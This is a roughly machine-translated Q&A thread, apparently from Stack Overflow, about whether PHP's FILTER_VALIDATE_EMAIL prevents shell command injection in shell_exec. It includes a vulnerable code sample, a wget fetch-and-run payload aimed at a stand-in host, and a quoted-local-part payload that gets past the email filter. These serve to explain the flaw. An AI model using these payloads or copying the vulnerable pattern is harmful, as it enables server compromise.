所以我打算使用shell_exec()
来处理运行PHP脚本,发送电子邮件。
这是所有工作的伟大,但我只是稍微关注仅使用的安全隐患FILTER_VALIDATE_EMAIL
,以确保注射不能发生。
因此,举例来说,我会使用的东西simlilar这样:
$email=$_POST['email'];
if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
echo 'Nope ...';
} else {
shell_exec("/usr/bin/php /var/www/mysite/includes/sendemail '" . $email . "'" > /dev/null 2>/dev/null &);
}
所以,很显然没有验证,我可以提交我的电子邮件,就像这样:
'; wget -O ./evil.sh http://evilsite.com/evilscript; ./evil.sh; '
和所有的地狱可以挣脱...
这是100%的注射证明(我们知道的),或者是有什么别的我要补充?
该FILTER_VALIDATE_EMAIL实现基于迈克尔·拉什顿的电子邮件地址验证 ,验证通过输入RFC 5321 ,即邮箱生产规则 。
这些电子邮件地址是比那些在实践中使用越来越广泛。 例如,RFC 5321允许引述像本地部分字符串"…"@example.com
。
这允许注入任意命令,例如:
"'`whoami`'"@example.com
这会在你的shell命令结束:
/usr/bin/php /var/www/mysite/includes/sendemail '"'`whoami`'"@example.com' > /dev/null 2>/dev/null &
得到的sendmail
参数值将是结果whoami
报价,喜欢"markus"@example.com
。
您将看到FILTER_VALIDATE_EMAIL是根本不适合用于验证外壳参数,因为它是不是注定的。
这都是为了逃避壳参数,而不是像使用功能escapeshellarg
为逃逸单参数或escapeshellcmd
任意参数。
一般来说,你应该避免shell命令,如果你能达到与内置的PHP功能相同的,因为即使escapeshellarg
不是免费的bug 。
这是100%的注射证明(我们知道的),或者是有什么别的我要补充?
同样的问题被问这里的数据库: 是否FILTER_VALIDATE_EMAIL使字符串安全的插入数据库?
如果filter_var($var, FILTER_VALIDATE_EMAIL)
是不是数据库的安全,它可能不是在命令行足够安全。
如果您确实需要逃避的外壳使用的字符串,使用escapeshellarg()
或escapeshellcmd()
像在回答过滤器变种调用与系统上的PHP一个shell脚本 。 请务必阅读API文档为那些对PHP的网站。
但首先,你应该做一些OWASP研究学习应用程序安全的最佳做法。
逸出和任何其他对策是无效的,有大量的用于绕过每其中之一向量; 不相信开发新手告诉你。
您可以通过写邮件到一个临时文件,然后指示你完全避免这个问题sendemail
应用程序从文件中读取(如果可以)。
或者,如果它适用于您的主机配置,你可以使用PHP的mail()
方法-请参阅如何发送使用PHP的电子邮件?
继续关注安全的,虽然。 PHP的邮件():什么是需要提防潜在的问题?